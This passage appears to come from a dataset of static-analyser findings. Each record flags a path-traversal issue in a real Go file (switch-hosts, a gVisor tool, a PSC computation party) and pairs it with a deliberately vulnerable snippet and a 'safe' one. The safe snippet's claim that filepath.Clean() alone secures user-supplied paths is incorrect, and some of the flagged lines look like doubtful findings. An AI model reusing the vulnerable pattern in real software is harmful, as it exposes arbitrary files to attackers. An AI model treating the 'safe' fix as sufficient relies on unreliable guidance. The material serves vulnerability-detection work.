ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 80, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "203ee106dda23de1b8e875de1ec8e0b902a1324e54fef0e124dae9a9562d4f68", "license": {"spdx": ["Unlicense"], "repo": "kyledayton/switch-hosts", "path": "switch-hosts.go", "repo_head_hexsha": "844802717cc57e281335ac0295ba59403a23a697", "stack_hexsha": "b2b80a995348c999ae8416c6c476d4de4d2e7ab5", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 62, "entireCode": "package main\n\nimport(\n \"os\"\n \"os/exec\"\n \"fmt\"\n \"strings\"\n \"io/ioutil\"\n homedir \"github.com/mitchellh/go-homedir\"\n)\n\nfunc printUsage() {\n fmt.Println(\"Usage of switch-hosts:\")\n fmt.Println(\"switch-hosts \")\n fmt.Println(\" must be a file present in ~/.hosts/\")\n fmt.Println(\"Use the 'default' config to restore the original hosts file\")\n}\n\nfunc hasHostsDir() bool {\n hosts_dir, _ := homedir.Expand(\"~/.hosts/\")\n stat, err := os.Stat(hosts_dir)\n\n if err != nil {\n return false\n }\n\n return stat.IsDir()\n}\n\nfunc createHostsDir() {\n dir, _ := homedir.Expand(\"~/.hosts/\")\n execCmd(\"mkdir\", \"-p\", dir)\n}\n\nfunc hostConfigPath(config string) string {\n path := fmt.Sprintf(\"~/.hosts/%s\", config)\n expanded, _ := homedir.Expand(path)\n return expanded\n}\n\nfunc fileExist(filename string) bool {\n _, err := os.Stat(filename)\n return err == nil\n}\n\nfunc hostConfigExist(config string) bool {\n path := hostConfigPath(config)\n return fileExist(path)\n}\n\nfunc applyConfig(config string) {\n configPath := hostConfigPath(config)\n\n if config == \"default\" {\n execCmd(\"sudo\", \"cp\", configPath, \"/etc/hosts\")\n } else {\n createAndApplyConfig(config)\n }\n}\n\nfunc createAndApplyConfig(config string) {\n defaultFileContents, _ := ioutil.ReadFile(hostConfigPath(\"default\"))\n configFileContents, _ := ioutil.ReadFile(hostConfigPath(config))\n\n fileContents := append(defaultFileContents, byte('\\n'))\n fileContents = append(fileContents, configFileContents...)\n tmpFile, _ := ioutil.TempFile(\"\", \"hosts-\")\n defer tmpFile.Close()\n\n ioutil.WriteFile(tmpFile.Name(), fileContents, os.ModeTemporary)\n execCmd(\"sudo\", \"cp\", tmpFile.Name(), \"/etc/hosts\")\n os.Remove(tmpFile.Name())\n}\n\nfunc hasHostsBackup() bool {\n return hostConfigExist(\"default\")\n}\n\nfunc createHostsBackup() {\n if fileExist(\"/etc/hosts.orig\") {\n execCmd(\"cp\", \"/etc/hosts.orig\", hostConfigPath(\"default\"))\n } else {\n execCmd(\"cp\", \"/etc/hosts\", hostConfigPath(\"default\"))\n execCmd(\"sudo\", \"cp\", \"/etc/hosts\", \"/etc/hosts.orig\")\n }\n}\n\nfunc execCmd(command string, args ...string) string {\n cmd := exec.Command(command, args...)\n stdout, _ := cmd.StdoutPipe()\n\n cmd.Start()\n\n output := make([]byte, 1024)\n bytesRead, _ := stdout.Read(output)\n\n cmd.Wait()\n\n output = output[0:bytesRead]\n\n return strings.TrimSpace(string(output))\n}\n\n\nfunc main() {\n if !hasHostsDir() {\n createHostsDir()\n }\n\n if !hasHostsBackup() {\n fmt.Println(\"No hosts file backup found... creating\")\n createHostsBackup()\n }\n\n if len(os.Args) == 1 || strings.TrimSpace( os.Args[1] ) == \"\" {\n printUsage();\n return\n }\n\n config := strings.TrimSpace( os.Args[1] )\n\n if hostConfigExist(config) {\n applyConfig(config)\n fmt.Printf(\"Hosts configuration switched to %s.\\n\", config)\n } else {\n fmt.Printf(\"%s hosts configuration was not found. Did you define it at ~/.hosts/%s ?\\n\\n\", config, config)\n printUsage()\n return\n }\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 62, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "5caf9d804239ec0746038f824eca309f52d5ecca30c243a5555c99ef4dbfbb0b", "license": {"spdx": ["Apache-2.0"], "repo": "Simon-Zh-0409/gvisor", "path": "tools/issue_reviver/main.go", "repo_head_hexsha": "c619cc59c2e826ef1168259287023de198e3e2aa", "stack_hexsha": "4256f5a6c7286ca2762b867496dcb9886d263053", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 68, "entireCode": "// Copyright 2019 The gVisor Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package main is the entry point for issue_reviver.\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\n\t\"gvisor.dev/gvisor/tools/issue_reviver/github\"\n\t\"gvisor.dev/gvisor/tools/issue_reviver/reviver\"\n)\n\nvar (\n\towner string\n\trepo string\n\ttokenFile string\n\tpath string\n\tdryRun bool\n)\n\n// Keep the options simple for now. Supports only a single path and repo.\nfunc init() {\n\tflag.StringVar(&owner, \"owner\", \"google\", \"Github project org/owner to look for issues\")\n\tflag.StringVar(&repo, \"repo\", \"gvisor\", \"Github repo to look for issues\")\n\tflag.StringVar(&tokenFile, \"oauth-token-file\", \"\", \"Path to file containing the OAUTH token to be used as credential to github\")\n\tflag.StringVar(&path, \"path\", \"\", \"Path to scan for TODOs\")\n\tflag.BoolVar(&dryRun, \"dry-run\", false, \"If set to true, no changes are made to issues\")\n}\n\nfunc main() {\n\tflag.Parse()\n\n\t// Check for mandatory parameters.\n\tif len(owner) == 0 {\n\t\tfmt.Println(\"missing --owner option.\")\n\t\tflag.Usage()\n\t\tos.Exit(1)\n\t}\n\tif len(repo) == 0 {\n\t\tfmt.Println(\"missing --repo option.\")\n\t\tflag.Usage()\n\t\tos.Exit(1)\n\t}\n\tif len(path) == 0 {\n\t\tfmt.Println(\"missing --path option.\")\n\t\tflag.Usage()\n\t\tos.Exit(1)\n\t}\n\n\t// Token is passed as a file so it doesn't show up in command line arguments.\n\tvar token string\n\tif len(tokenFile) != 0 {\n\t\tbytes, err := ioutil.ReadFile(tokenFile)\n\t\tif err != nil {\n\t\t\tfmt.Println(err.Error())\n\t\t\tos.Exit(1)\n\t\t}\n\t\ttoken = string(bytes)\n\t}\n\n\tbugger, err := github.NewBugger(token, owner, repo, dryRun)\n\tif err != nil {\n\t\tfmt.Fprintln(os.Stderr, \"Error getting github issues:\", err)\n\t\tos.Exit(1)\n\t}\n\trev := reviver.New([]string{path}, []reviver.Bugger{bugger})\n\tif errs := rev.Run(); len(errs) > 0 {\n\t\tfmt.Fprintf(os.Stderr, \"Encountered %d errors:\\n\", len(errs))\n\t\tfor _, err := range errs {\n\t\t\tfmt.Fprintf(os.Stderr, \"\\t%v\\n\", err)\n\t\t}\n\t\tos.Exit(1)\n\t}\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 68, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "eba571da1f30c2beb610653ecbb8f5bb9e22f7aa56d819c00e78738c3af0c279", "license": {"spdx": ["BSD-3-Clause"], "repo": "AkshayaMani/PSC", "path": "CP/cp.go", "repo_head_hexsha": "683f1043e47e21f80c02a19de2e38dba303813d7", "stack_hexsha": "48d4ee728ac7056c43ee212a8d6a8ee0a272a09d", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 111, "entireCode": "/*\nCreated on Apr 18, 2017\n\n@author: , Georgetown University\n\nSee LICENSE for licensing information\n*/\n\npackage main\n\nimport (\n \"bufio\"\n \"bytes\"\n \"crypto/tls\"\n \"crypto/x509\"\n \"encoding/binary\"\n \"errors\"\n \"flag\"\n \"fmt\"\n \"github.com/dedis/kyber\"\n \"github.com/dedis/kyber/group/edwards25519\"\n \"github.com/dedis/kyber/proof\"\n \"github.com/dedis/kyber/proof/dleq\"\n \"github.com/dedis/kyber/shuffle\"\n \"github.com/dedis/kyber/sign/schnorr\"\n \"github.com/golang/protobuf/proto\"\n \"io\"\n \"io/ioutil\"\n \"math/rand\"\n \"net\"\n \"os\"\n \"PSC/DP/dpres\"\n \"PSC/CP/schnorr/schnorrkey\"\n \"PSC/CP/cpres\"\n \"PSC/logging\"\n \"PSC/par\"\n \"PSC/TS/tsmsg\"\n \"runtime/debug\"\n \"strconv\"\n \"strings\"\n \"sync\"\n \"syscall\"\n \"time\"\n)\n\n// ReRandomizeProof represents a NIZK proof.\ntype ReRandomizeProof struct {\n C kyber.Scalar //Challenge\n R1 kyber.Scalar //Response 1\n R2 kyber.Scalar //Response 2\n T1 kyber.Point // public commitment with respect to base point A\n T2 kyber.Point // public commitment with respect to base point B\n}\n\nvar suite = edwards25519.NewBlakeSHA256Ed25519() //Cipher suite\nvar pseudorand = suite.RandomStream() //For Randomness\nvar no_CPs int32 //No.of CPs\nvar no_DPs int32 //No. of DPs\nvar b int64 //Hash table size\nvar n int64 //No. of noise bins\n\nvar ts_cname string //TS common name\nvar ts_addr string //TS address\nvar cp_cnames []string //CP common names\nvar dp_cnames []string //DP common names\nvar cp_addr []string //CP addresses\nvar dp_addr []string //DP addresses\nvar cp_cname string //CP common name\nvar cp_no int32 //CP number\nvar no_dp_res int32 //No. of DPs Responded so far\nvar no_cp_res int32 //No. of CPs Broadcasted/Re-Broadcasted\nvar f_flag bool //Finish Flag\nvar cp_bcast int32 //CP Number Broadcasting\nvar step_no uint32 //CP Step Number\nvar cp_s_no uint32 //CP Session No.\nvar ts_s_no uint32 //TS Session No.\nvar ts_config_flag bool //TS configuration flag\nvar cp_session_flag bool //CP session flag\nvar ln net.Listener //Server listener\nvar finish chan bool //Channel to send finish flag\nvar clients chan net.Conn //Channel to handle simultaneous client connections\nvar x kyber.Scalar //CP private key\nvar y []kyber.Point //CP ElGamal public key list\nvar pub = new(Schnorrkey.Pub) //CP ElGamal public key in bytes\nvar Y = suite.Point().Null() //Compound public key\nvar k_j []kyber.Scalar //Key Share\nvar c_j []kyber.Scalar //Message Share\nvar b_j [][]byte //Broadcasted Message List\nvar nr [][2]kyber.Point //Noise ElGamal Blinding Factors\nvar nc [][2]kyber.Point //Noise ElGamal Ciphers\nvar nr_o [][2]kyber.Point //Shuffled Noise ElGamal Blinding Factors\nvar nc_o [][2]kyber.Point //Shuffled Noise ElGamal Ciphers\nvar R []kyber.Point //Product of all CP ElGamal Blinding Factors\nvar C []kyber.Point //Product of all CP ElGamal Ciphers\nvar R_O []kyber.Point //Shuffled ElGamal Blinding Factors\nvar C_O []kyber.Point //Shuffled ElGamal Ciphers\nvar cp_res_byte []byte //CP Response in bytes\nvar mutex = &sync.Mutex{} //Mutex to lock common client variable\nvar wg = &sync.WaitGroup{} //WaitGroup to wait for all goroutines to shutdown\nvar start time.Time\n\nfunc main() {\n\n debug.SetGCPercent(5) //Set garbage collection parameter\n\n logging.LogToFile(\"logs/Connection\"+time.Now().Local().Format(\"2006-01-02\")+\"_\"+time.Now().Local().Format(\"15:04:05\"))\n\n cp_host, cp_port, tsinfo_file := parseCommandline(os.Args) //Parse CP hostname, common name & port, and TS information file path\n\n //Assign TS information\n file, err := os.Open(tsinfo_file)\n checkError(err)\n\n //Read line by line\n scanner := bufio.NewScanner(file)\n no_of_lines := 0\n for scanner.Scan() {\n\n no_of_lines += 1\n t := scanner.Text()\n\n if no_of_lines <= 2 && strings.HasPrefix(t, \"Addr \") {\n\n ts_addr = strings.TrimPrefix(t, \"Addr \") //Assign TS address\n\n ts_address := strings.Split(ts_addr, \":\")[0]\n\n ts_port, err := strconv.ParseUint(strings.Split(ts_addr, \":\")[1], 10, 16)\n\n if strings.Contains(ts_address, \" \") {\n\n checkError(fmt.Errorf(\"%s is not a valid address\", ts_address))\n }\n\n if err != nil {\n\n checkError(fmt.Errorf(\"%s is not a valid port\", ts_port))\n }\n\n } else if no_of_lines <= 2 && strings.HasPrefix(t, \"CN \") {\n\n ts_cname = strings.TrimPrefix(t, \"CN \") //Assign TS common name\n\n if strings.Contains(ts_cname, \" \") {\n\n checkError(fmt.Errorf(\"%s is not a valid common name\", ts_cname))\n }\n\n } else {\n\n checkError(fmt.Errorf(\"TS information file %s formatting error\", tsinfo_file))\n }\n }\n\n file.Close()\n\n logging.Info.Println(\"Parsed command-line arguments\")\n\n for{\n\n //Initialize global variables\n initValues()\n\n //Listen to the TCP port\n var err error\n ln, err = net.Listen(\"tcp\", cp_host+\":\"+cp_port)\n checkError(err)\n\n logging.LogToFile(\"logs/\"+cp_cname+time.Now().Local().Format(\"2006-01-02\")+\"_\"+time.Now().Local().Format(\"15:04:05\"))\n logging.Info.Println(\"PSC is a free, open-source software, available for download at https://github.com/AkshayaMani/PSC\")\n logging.Info.Println(\"PSC uses https://github.com/postfix/goControlTor library to connect to Tor control port\")\n logging.Info.Println(\"Started Computation Party\")\n\n //Channel to handle simultaneous DP connections\n dpconn := make(chan net.Conn)\n\n //Channel to handle simultaneous CP connections\n cpconn := make(chan net.Conn)\n\n wg.Add(1) //Increment WaitGroup counter\n\n go acceptConnections() //Accept connections\n\n loop:\n\n for{\n\n select {\n\n case conn := <- clients:\n\n //Parse Common Name\n com_name := parseCommonName(conn)\n\n if contains(dp_cnames, com_name) {//If data received from DP\n\n wg.Add(1) //Increment WaitGroup counter\n\n //Handle DPs in separate channels\n go handleDPs(dpconn)\n\n //Add DPconnection to channel\n dpconn <- conn\n\n } else if contains(cp_cnames, com_name) {//If data received from CP\n\n wg.Add(1) //Increment WaitGroup counter\n\n //Handle CPs in separate channels\n go handleCPs(cpconn, com_name)\n\n //Add CPconnection to channel\n cpconn <- conn\n\n } else if ts_cname == com_name {//If data received from TS\n\n //Receive Data\n buf := receiveData(conn)\n\n conn.Close() //Close connection\n\n if ts_config_flag == true { //If TS configuration flag set\n\n start = time.Now()\n\n ts_config_flag = false //Set configuration flag to false\n\n config := new(TSmsg.Config) //TS configuration\n proto.Unmarshal(buf, config) //Parse TS configuration\n\n assignConfig(config) //Assign configuration\n\n logging.Info.Println(\"Sending TS signal. Bcast CP\", cp_bcast, \"Step No.\", step_no)\n sendTSSignal(ts_s_no+step_no) //Send signal to TS\n\n step_no = 1 //TS step no.\n\n } else { //If TS configuration flag is false\n\n sig := new(TSmsg.Signal) //TS signal\n proto.Unmarshal(buf, sig) //Parse TS signal\n\n if *sig.Fflag == true { //If finish flag set\n\n logging.Info.Println(\"Shutting down \", cp_cname)\n shutdownCP() //Shutdown CP gracefully\n\n } else { //Finish flag not set\n\n mutex.Lock() //Lock mutex\n\n if *sig.SNo == int32(ts_s_no+step_no) && cp_bcast == cp_no { //Check TS step no. a$\n\n broadcastCPData() //Broadcast CP data\n\n } else { //Wrong signal from TS\n\n logging.Error.Println(\"Wrong signal from TS\")\n\n f_flag = true //Set finish flag\n\n sendTSSignal(ts_s_no+step_no) //Send finish signal to TS\n }\n\n mutex.Unlock() //Unlock mutex\n }\n }\n\n } else { //If not CPs, DPs or TS\n\n conn.Close() //Close connection\n }\n\n case <-finish:\n\n wg.Wait()\n\n if step_no == 11 { //Finish\n\n //Finishing measurement\n logging.Info.Println(\"Finished measurement\")\n\n logging.Info.Println(\"Total measurement time\", time.Since(start))\n\n } else {\n\n //Quit and Re-start measurement\n logging.Info.Println(\"Quit\")\n logging.Info.Println(\"Re-start measurement\")\n }\n\n break loop\n }\n }\n }\n}\n\n//Input: Session no.\n//Function: Send TS signal\nfunc sendTSSignal(sno uint32) {\n\n sig := new(TSmsg.Signal) //TS signal\n\n sig.Fflag = proto.Bool(f_flag) //Set finish flag\n\n //Set TS session no.\n sig.SNo = proto.Int32(int32(sno))\n\n //Convert to Bytes\n sigb, _ := proto.Marshal(sig)\n\n //Send signal to TS\n sendDataToDest(sigb, ts_cname, ts_addr)\n}\n\n//Input: DP socket channel\n//Function: Handle DP connections\nfunc handleDPs(dpconn chan net.Conn) {\n\n defer wg.Done() //Decrement counter when goroutine completes\n\n //Wait for next DP connection to come off queue.\n conn := <-dpconn\n\n //Receive Data\n buf := receiveData(conn)\n\n conn.Close() //Close connection\n\n //Parse DP Response\n resp := new(DPres.Response)\n proto.Unmarshal(buf, resp)\n\n mutex.Lock() //Lock mutex\n\n if f_flag == false { //Finish flag not set\n\n if uint32(*resp.TSsno) == ts_s_no + step_no { //If step no. 1\n\n //Convert bytes to key\n for i := int64(0); i < b; i++ {\n\n tmp := suite.Scalar().SetBytes(resp.M[i])\n k_j[i] = suite.Scalar().Add(k_j[i], tmp) //Add key share\n }\n\n } else if uint32(*resp.TSsno) == ts_s_no + step_no - 3 {\n\n //Convert bytes to masked data\n for i := int64(0); i < b; i++ {\n\n tmp := suite.Scalar().SetBytes(resp.M[i])\n c_j[i] = suite.Scalar().Add(c_j[i], tmp) //Add masked data share\n }\n\n } else { //DP session no. not verified\n\n logging.Error.Println(\"DP session no. not verified\")\n\n f_flag = true //Set finish flag\n\n sendTSSignal(ts_s_no+step_no) //Send finish signal to TS\n\n return\n }\n\n //Increment the number of DPs responded\n no_dp_res = no_dp_res + 1\n\n //If all DPs have Responded\n if no_dp_res == no_DPs {\n\n if step_no == 6 { //Masked data sent by all DPs\n\n //Add and Compute Share for Each Counter\n for i := int64(0); i < b; i++ {\n\n c_j[i] = suite.Scalar().Sub(c_j[i], k_j[i]) //Subtract Key Share from masked data share\n }\n }\n\n logging.Info.Println(\"Sending TS signal. Bcast CP\", cp_bcast, \"Step No.\", step_no)\n sendTSSignal(ts_s_no+step_no) //Send signal to TS\n\n step_no += 1 //Increment step no.\n\n no_dp_res = 0 //Set no. of DPs responded to zero\n }\n }\n\n mutex.Unlock() //Unlock mutex\n}\n\n//Input: CP socket channel, CP common name\n//Function: Handle CP connections\nfunc handleCPs(cpconn chan net.Conn, com_name string) {\n\n defer wg.Done() //Decrement counter when goroutine completes\n\n //Wait for next CP connection to come off queue.\n conn := <-cpconn\n\n //Receive Data\n buf := receiveData(conn)\n\n conn.Close() //Close connection\n\n mutex.Lock() //Lock mutex\n\n if f_flag == false { //Finish flag not set\n\n if cp_session_flag == true { //If CP session flag set\n\n //Parse CP Response\n cp_resp := new(CPres.Response)\n proto.Unmarshal(buf, cp_resp)\n\n //If Step No. is 2\n if step_no == 2 {\n\n cp_s_no = binary.BigEndian.Uint32(cp_resp.R[0]) //Set Session No.\n\n logging.Info.Println(\"Sending TS signal. Bcast CP\", cp_bcast, \"Step No.\", step_no)\n sendTSSignal(ts_s_no+step_no) //Send signal to TS\n\n cp_bcast = 0 //Set CP0 as Broadcasting CP\n\n step_no += 1 //Increment step no.\n\n } else if step_no == 3 { //If Step No. is 3\n\n tmp := bytes.NewReader(cp_resp.R[0]) //Temporary\n schnorr_pub := suite.Point() //CP Schnorr public key\n schnorr_pub.UnmarshalFrom(tmp) //Parse CP Schnorr public key\n\n //Verify Proof\n rep := proof.Rep(\"X\", \"x\", \"B\")\n public := map[string]kyber.Point{\"B\": suite.Point().Base(), \"X\": schnorr_pub}\n verifier := rep.Verifier(suite, public)\n err := proof.HashVerify(suite, strconv.Itoa(int(cp_s_no+step_no-2)), verifier, cp_resp.Proof[0])\n\n //If Error in Verifying\n if err != nil {\n\n logging.Error.Println(\"CP Schnorr public key proof not verified \\n\", err)\n\n f_flag = true //Set finish flag\n\n sendTSSignal(ts_s_no+step_no) //Send finish signal to TS\n\n return\n }\n\n schnorrpub := new(Schnorrkey.Pub) //CP Schnorr public key\n\n //Convert to bytes\n var tb bytes.Buffer //Temporary buffer\n _,_ = schnorr_pub.MarshalTo(&tb)\n schnorrpub.Y = tb.Bytes()\n\n //Write to file\n out, _ := proto.Marshal(schnorrpub)\n ioutil.WriteFile(\"schnorr/public/\" + com_name + \".pub\", out, 0644)\n\n no_cp_res += 1 //Increment no. of CP public keys received\n\n logging.Info.Println(\"Sending TS signal. Bcast CP\", cp_bcast, \"Step No.\", step_no)\n sendTSSignal(ts_s_no+step_no) //Send signal to TS\n\n //If All CP public keys received\n if no_cp_res == no_CPs - 1 {\n\n cp_session_flag = false //Set CP session flag to false\n\n no_cp_res = 0 //Set No. of CPs broadcasted to 0\n }\n\n //If last CP broadcasted\n if cp_bcast == no_CPs - 1 {\n\n cp_bcast = 0 //Set CP0 as Broadcasting CP\n\n step_no += 1 //Increment step no.\n\n } else {\n\n cp_bcast += 1 //Set Broadcasting CP as next CP\n }\n }\n\n } else {\n\n //Verify Sign\n l, f := verifyCPSign(suite, com_name, buf)\n\n //Step No. in Message\n t := binary.BigEndian.Uint32(buf[1:5])\n\n //If Step No. and Signature Verified\n if t == cp_s_no+step_no-2 && f == true {\n\n //If Broadcast Flag Set\n if uint8(buf[0]) == 1 {\n\n if no_cp_res != 0 { //If not the 1st broadcasted message\n\n //Compare Signatures\n if bytes.Compare(buf[9:9+l], b_j[no_cp_res - 1]) != 0 { //If re-broadcast data doesn't match\n\n logging.Error.Println(\"Re-broadcast data does not match\")\n\n f_flag = true //Set finish flag\n\n sendTSSignal(ts_s_no+step_no) //Send finish signal to TS\n\n return\n }\n }\n\n\t b_j[no_cp_res] = buf[9:9+l] //Store Signed Message\n //Store response\n cp_res_byte = buf[9+l:]\n\n logging.Info.Println(\"Rebroadcasting msg sent by CP\", int(cp_bcast))\n sendDataN_1(cp_s_no+step_no-2, int(cp_bcast), b_j[no_cp_res]) //Re-Broadcasting\n\n } else if uint8(buf[0]) == 0 { //If Broadcast Flag not Set\n\n if no_cp_res != 0 { //If not the 1st broadcasted message\n\n //Compare Signatures\n if bytes.Compare(buf[9+l:], b_j[no_cp_res - 1]) != 0 { //If re-broadcast data doesn't match\n\n logging.Error.Println(\"Re-broadcast data does not match\")\n\n f_flag = true //Set finish flag\n\n sendTSSignal(ts_s_no+step_no) //Send finish signal to TS\n\n return\n }\n }\n\n b_j[no_cp_res] = buf[9+l:] //Store Signed Message\n }\n\n no_cp_res += 1 //Increment No. of CP Responses\n\n } else if f != true { //If CP Schnorr signature not verified\n\n logging.Error.Println(\"CP Schnorr signature not verified\")\n\n f_flag = true //Set finish flag\n\n sendTSSignal(ts_s_no+step_no) //Send finish signal to TS\n\n return\n\n } else { //If Step No. not verified\n\n logging.Error.Println(\"Step No. not verified\")\n\n f_flag = true //Set finish flag\n\n sendTSSignal(ts_s_no+step_no) //Send finish signal to TS\n\n return\n }\n\n //If All CPs have finished Broadcasting/Re-Broadcasting\n if no_cp_res == no_CPs - 1 {\n\n //Parse CP Response\n cp_resp := new(CPres.Response)\n proto.Unmarshal(cp_res_byte, cp_resp)\n\n if step_no == 4 { //If Step No. is 4\n\n tmp := bytes.NewReader(cp_resp.R[0]) //Temporary\n y[cp_bcast] = suite.Point()\n y[cp_bcast].UnmarshalFrom(tmp)\n\n //Verify Proof\n rep := proof.Rep(\"X\", \"x\", \"B\")\n public := map[string]kyber.Point{\"B\": suite.Point().Base(), \"X\": y[cp_bcast]}\n verifier := rep.Verifier(suite, public)\n err := proof.HashVerify(suite, strconv.Itoa(int(cp_s_no+step_no-2)), verifier, cp_resp.Proof[0])\n\n //If Error in Verifying\n if err != nil {\n\n logging.Error.Println(\"CP ElGamal public key proof not verified \\n\", err)\n\n f_flag = true //Set finish flag\n\n sendTSSignal(ts_s_no+step_no) //Send finish signal to TS\n\n return\n }\n\n //Multiply to create Compound Public Key\n Y.Add(Y, y[cp_bcast])\n\n } else if step_no == 5 { //If Step No. 5\n\n //Convert Bytes to Data\n for i := int64(0); i < n; i++ {\n\n tmp := bytes.NewReader(cp_resp.R[2*i]) //Temporary\n nr_o[i][0] = suite.Point()\n nr_o[i][0].UnmarshalFrom(tmp) //Assign Shuffled Noise ElGamal Blinding Factors\n\n tmp1 := bytes.NewReader(cp_resp.R[(2*i)+1]) //Temporary\n nr_o[i][1] = suite.Point()\n nr_o[i][1].UnmarshalFrom(tmp1) //Assign Shuffled Noise ElGamal Blinding Factors\n\n tmp2 := bytes.NewReader(cp_resp.C[2*i]) //Temporary\n nc_o[i][0] = suite.Point()\n nc_o[i][0].UnmarshalFrom(tmp2) //Assign Shuffled Noise ElGamal Ciphers\n\n tmp3 := bytes.NewReader(cp_resp.C[(2*i)+1]) //Temporary\n nc_o[i][1] = suite.Point()\n nc_o[i][1].UnmarshalFrom(tmp3) //Assign Shuffled Noise ElGamal Ciphers\n\n //Verify Proof\n verifier := shuffle.BiffleVerifier(suite, nil, Y, nr[i], nc[i], nr_o[i], nc_o[i])\n err := proof.HashVerify(suite, strconv.Itoa(int(cp_s_no+step_no-2))+strconv.Itoa(int(i)), verifier, cp_resp.Proof[i])\n\n //If Error in Verifying\n if err != nil {\n\n logging.Error.Println(\"Noise generation proof\", i, \"not verified \\n\", err)\n\n f_flag = true //Set finish flag\n\n sendTSSignal(ts_s_no+step_no) //Send finish signal to TS\n\n return\n }\n }\n\n //Iterate over all Noise Counters\n for i := int64(0); i < n; i++ {\n\n //Swap Current Output as Input\n nr[i][0] = suite.Point().Set(nr_o[i][0])\n nr[i][1] = suite.Point().Set(nr_o[i][1])\n nc[i][0] = suite.Point().Set(nc_o[i][0])\n nc[i][1] = suite.Point().Set(nc_o[i][1])\n }\n\n //If Last CP has Broadcasted\n if cp_bcast == no_CPs - 1 {\n\n //Iterate Over all Noise Counters\n for i := b; i < b+n; i++ {\n\n //Select 1st Coin as Noise\n R[i] = suite.Point().Set(nr[i-b][0])\n C[i] = suite.Point().Set(nc[i-b][0])\n }\n\n //Free noise variables\n nr = nil //Noise ElGamal blinding factors\n nc = nil //Noise ElGamal ciphers\n nr_o = nil //Shuffled noise elGamal blinding factors\n nc_o = nil //Shuffled noise ElGamal ciphers\n }\n\n } else if step_no == 7 { //If Step No. 7\n\n //Convert Bytes to Data\n for i := int64(0); i < b; i++ {\n\n tmp := bytes.NewReader(cp_resp.R[i]) //Temporary\n tp := suite.Point() //Temporary\n tp.UnmarshalFrom(tmp)\n R[i].Add(R[i], tp) //Multiply ElGamal Blinding Factors\n\n //Verify Proof\n rep := proof.Rep(\"X\", \"x\", \"B\")\n public := map[string]kyber.Point{\"B\": suite.Point().Base(), \"X\": tp}\n verifier := rep.Verifier(suite, public)\n err := proof.HashVerify(suite, strconv.Itoa(int(cp_s_no+step_no-2))+strconv.Itoa(int(i)), verifier, cp_resp.Proof[i])\n\n //If Error in Verifying\n if err != nil {\n\n logging.Error.Println(\"ElGamal ciphertext computation proof\", i, \"not verified \\n\", err)\n\n f_flag = true //Set finish flag\n\n sendTSSignal(ts_s_no+step_no) //Send finish signal to TS\n\n return\n }\n\n tmp1 := bytes.NewReader(cp_resp.C[i])\n tp = suite.Point()\n tp.UnmarshalFrom(tmp1)\n C[i].Add(C[i], tp) //Multiply ElGamal Ciphers\n }\n\n } else if step_no == 8 { //If Step No. 8\n\n R_O = make([]kyber.Point, b+n) //Shuffled ElGamal Blinding Factors\n C_O = make([]kyber.Point, b+n) 